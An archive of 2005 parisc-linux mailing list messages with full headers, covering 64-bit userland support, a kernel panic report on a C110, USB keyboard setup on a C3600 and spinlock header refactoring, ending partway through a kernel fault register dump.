Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 313737D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:32:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24404-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:32:43 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B88D37D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:32:43 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4D19A495713; Sat, 18 Jun 2005 07:32:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id F3FB3495712
	for <parisc-linux@parisc-linux.org>;
	Sat, 18 Jun 2005 07:32:42 -0600 (MDT)
Original-Received: from [83.134.226.227] (helo=[83.134.226.227])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DjdK0-0002lE-AA; Sat, 18 Jun 2005 15:25:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <e6eae02905061711053b72fb5@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0kfGYmw6eSEkO76WZHQhaXN1IGRvb8BS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25152

Hello Max,

Btw, may be am i wrong, but afaik for 64bit HUGETLB_PAGE could also be a wished support?

Also ccio and ncr53c8xx (for ncr53c720) are not yet 64bit complient (well not not my d380)

Thanks,
	Joel

Max Grabert wrote:
> On 6/17/05, Carlos O'Donell <carlos@systemhalted.org> wrote:
> 
>>On Fri, Jun 17, 2005 at 12:46:07PM -0500, James Bottomley wrote:
>>
>>>On Fri, 2005-06-17 at 17:18 +0100, Max Grabert wrote:
>>>
>>>>- 64bit userland is not yet supported
>>>
>>>Actually, the kernel supports it quite happily.  There's a 64 bit mini
>>>library that will build static ELF64 user binaries that I used to debug
>>>support when I added it.
>>>
>>>What's missing is:
>>>
>>>- 64 bit gcc that will build DSO's
>>>- 64 bit glibc
>>
>>I forgot perhaps we should add:
>>
>>  - Multiple stub sections for the 64-bit linker.
>>
>>Which will probably be the next project after TLS/NPTL/FUTEX.
>>Binutils elf64-hppa needs a good cleanup.
> 
> 
> Thank you all (Carlos, James, Kyle etc.) for your input!
> 
> I'll add a wiki page in the next couple of days that will
> contain a (hopefully regulary updated) list of things that
> are "known broken", "being worked on" and
> "probably never supported" in the p-l kernel.
> 
>    Max
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.12-pa0 boot fine on my c110 :-)
Date: Sat, 18 Jun 2005 13:42:12 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <42B424B4.6010201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624550 26906 80.91.229.3 (22 Nov 2014 02:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:10 +0000 (UTC)
To: Linux/PA <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2005 13:42:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 18 Jun 2005 15:42:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 860A87D684;
	Sat, 18 Jun 2005 07:42:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24740-02; Sat, 18 Jun 2005 07:42:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 765767D68E;
	Sat, 18 Jun 2005 07:42:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32F847D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:42:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24560-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:42:15 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B92287D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 07:42:15 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4980B495798; Sat, 18 Jun 2005 07:42:15 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id E4E8E495797
	for <parisc-linux@parisc-linux.org>;
	Sat, 18 Jun 2005 07:42:13 -0600 (MDT)
Original-Received: from [83.134.226.227] (helo=[83.134.226.227])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DjdTF-00030V-P9; Sat, 18 Jun 2005 15:34:49 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6EHGYiwWeSEkdL6WZHQhaXN1IGRvb0Dk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25153

Hello *,

As mentioned in title it build and boot fine on my c110 ;-)

No time to test more :-(

But I made a mistake (certainly not 2.6.12 related):
# more /proc/bus/runway/ccio-bitmap

proc_file_read: Apparent buffer overflow!
/Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/memory.c:105: bad pmd 30303020.
/Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/memory.c:105: bad pmd 30303030.
/Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/memory.c:105: bad pmd 30303030.
/Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/memory.c:105: bad pmd 30203030.
/Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/memory.c:105: bad pmd 30302030.
kernel BUG at /Debian-apt/SRC/linux-2.6.12-pa0-050618/mm/mmap.c:1937!
Backtrace:
  [<1015be50>] exit_mmap+0x190/0x1cc
  [<101249c4>] mmput+0x44/0xbc
  [<10129280>] do_exit+0xc0/0x304
  [<10129534>] do_group_exit+0x40/0xcc
  [<10134134>] get_signal_to_deliver+0x4c/0x37c
  [<101113d0>] do_signal+0x5c/0x24c
  [<1010c2b4>] intr_do_signal+0x28/0x30
Kernel panic - not syncing: Kernel Fault

What did I wrong?

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] USB Keyboard on C3600?
Date: Sat, 18 Jun 2005 15:50:07 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20050618215007.GA24175@colo.lackof.org>
References: <87slzhudu4.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624550 26907 80.91.229.3 (22 Nov 2014 02:49:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sven Schnelle <sschnelle@astaro.com>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2005 21:46:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 18 Jun 2005 23:46:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEE9E7D6A6;
	Sat, 18 Jun 2005 15:46:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26198-08; Sat, 18 Jun 2005 15:46:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 967817D69F;
	Sat, 18 Jun 2005 15:46:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75B1E7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 15:46:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25992-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 15:46:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 095C67D698
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Jun 2005 15:46:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7EC9E3749F4; Sat, 18 Jun 2005 15:46:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 4286C3749F3
	for <parisc-linux@parisc-linux.org>;
	Sat, 18 Jun 2005 15:46:12 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4D8C329803C;
	Sat, 18 Jun 2005 15:50:08 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21829-09; Sat, 18 Jun 2005 15:50:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DD27C298034; Sat, 18 Jun 2005 15:50:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <87slzhudu4.fsf@deprecated.intranet.astaro.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fPPGYrVyeSEkfL6WZHQhaXN1IGRvb8At
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25154

On Fri, Jun 17, 2005 at 06:50:59PM +0200, Sven Schnelle wrote:
> i've got a "new" HP9000-C3600, and now i'm wondering if a standard
> PC-USB Keyboard should work on this machine.

Most likely.

>  I've got a blank screen,
> and the HP is switching to serial console. i think there's a message
> like "failed to initialize PCI 2" or something like this appearing in the
> Display, but the PDC doesn't display me any errors.

"PCI 2" is slot 2 where the graphics card is expected to be installed.

> The Primary Console is switched to GRAPHICS(2)/USB, so the serial
> Console is probably only a fallback.

Correct

> Should this HP display something on the screen, even without keyboard?

Probably Yes though I haven't tried this in a while.
It suggested the video doesn't match the monitor.
Plug in the USB keyboard and hit <TAB> key until
something shows up on the monitor.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Tue, 21 Jun 2005 13:22:35 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20050621112235.GA19113@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606175029.GC24437@colo.lackof.org>
	<20050612064922.GA5257@elte.hu>
	<20050612072507.GB25059@colo.lackof.org>
	<20050612073453.GA7718@elte.hu>
	<20050613062938.GD21766@colo.lackof.org>
	<20050613074407.GA13878@elte.hu>
	<20050613183932.GA9457@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624551 26911 80.91.229.3 (22 Nov 2014 02:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2005 11:24:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 21 Jun 2005 13:24:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00AF77D6FE;
	Tue, 21 Jun 2005 05:23:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13702-01; Tue, 21 Jun 2005 05:23:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34A457D6F1;
	Tue, 21 Jun 2005 05:23:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8944F7D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 05:23:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13414-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 05:23:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1C94C7D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Jun 2005 05:23:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 877CC65E049; Tue, 21 Jun 2005 05:23:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx2.elte.hu (mx2.elte.hu [157.181.151.9])
	by palinux.hppa (Postfix) with ESMTP id 15A0865E042;
	Tue, 21 Jun 2005 05:23:48 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx2.elte.hu (Postfix) with ESMTP id D3AD731E0F2;
	Tue, 21 Jun 2005 13:23:16 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 27D781FC2; Tue, 21 Jun 2005 13:23:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050613183932.GA9457@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hp3FYpUEeSEkX76WZHQhaXN1IGRvbwAm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25155


* Grant Grundler <grundler@parisc-linux.org> wrote:

> The next step may to seperate the definition of atomic_t (e.g moving
> that to asm/types.h) from the inline code (usage) and function prototypes.
> ie have 4 header files:
> 	spinlock_types.h	/* spinlock_t, SPIN_UNLOCKED, et al */
> 	spinlocks		/* spin_lock_*() */
> 	atomic_types.h		/* atomic_t */
> 	atomic.h		/* _atomic_spin_lock_*(), __xchg(), et al  */
> 
> Then linux/spinlock.h can include asm/atomic_types.h to get just the 
> subset it needs. asm/atomic.h will have to include linux/spinlock.h 
> then to use regular spinlocks then.  TBH, I don't like the general 
> idea of an asm/*.h depending on a linux/*.h (atomic.h including 
> spinlock.h respectively in this case).  But could live with it if you 
> feel strongly about no one using _raw_spinlocks directly.

perhaps we could further simplify things by requiring arch 
spinlock_types.h to include any other types the main spinlock.h needs.  
For most arches that would be a simple #include <asm/atomic.h>, for 
PARISC it would be #include <asm/atomic_types.h>. But i also like the 
idea of splitting up atomic.h into atomic.h and atomic_types.h.

on PARISC, asm/atomic.h would have to include linux/spinlock.h, and i 
dont see that as an ugly thing: your atomic type implementation does 
depend on spinlocks, and spinlocks are defined by the linux/spinlock*.h 
files.

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] latest palinux crash
Date: Sat, 25 Jun 2005 16:09:05 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20050625150905.GC5200@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624551 26915 80.91.229.3 (22 Nov 2014 02:49:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:11 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2005 15:08:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 25 Jun 2005 17:08:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D1057D78E;
	Sat, 25 Jun 2005 09:07:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18041-01; Sat, 25 Jun 2005 09:07:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 327B97D770;
	Sat, 25 Jun 2005 09:07:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8A967D760
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 09:07:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17739-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 09:07:41 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1F97D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Jun 2005 09:07:41 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E75391758DE; Sat, 25 Jun 2005 09:07:40 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 88A5B1758DD
	for <parisc-linux@parisc-linux.org>;
	Sat, 25 Jun 2005 09:07:39 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DmCHJ-0001Tr-BO
	for parisc-linux@parisc-linux.org; Sat, 25 Jun 2005 16:09:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BRbPYjw3eSEka76WZHQhaXN1IGRvb8CP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25156


Kernel Fault: Code=26 regs=0000000047c34720 (Addr=0000000000000001)
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000011001111111000001111 Not tainted
r00-03  0000000000000000 00000000105456f0 00000000101a3494 0000000000000001
r04-07  00000000104b9200 00000000c55ec518 000000006eb29a2d 00000000bd27d428
r08-11  0000000047c344d0 00000000141cc568 000000000000000a 0000000000000000
r12-15  00000000204f0018 000000000000004e 0000000000000001 0000000000000000
r16-19  0000000000000801 000000000004dee8 000000000004dee8 0000000000000000
r20-23  000000000007ffff 00001389e3fff288 00000000140ce5c0 000020dd6eb29a2d
r24-27  0000000047c344c0 0000000047c344d0 00000000bd27d428 00000000104b9200
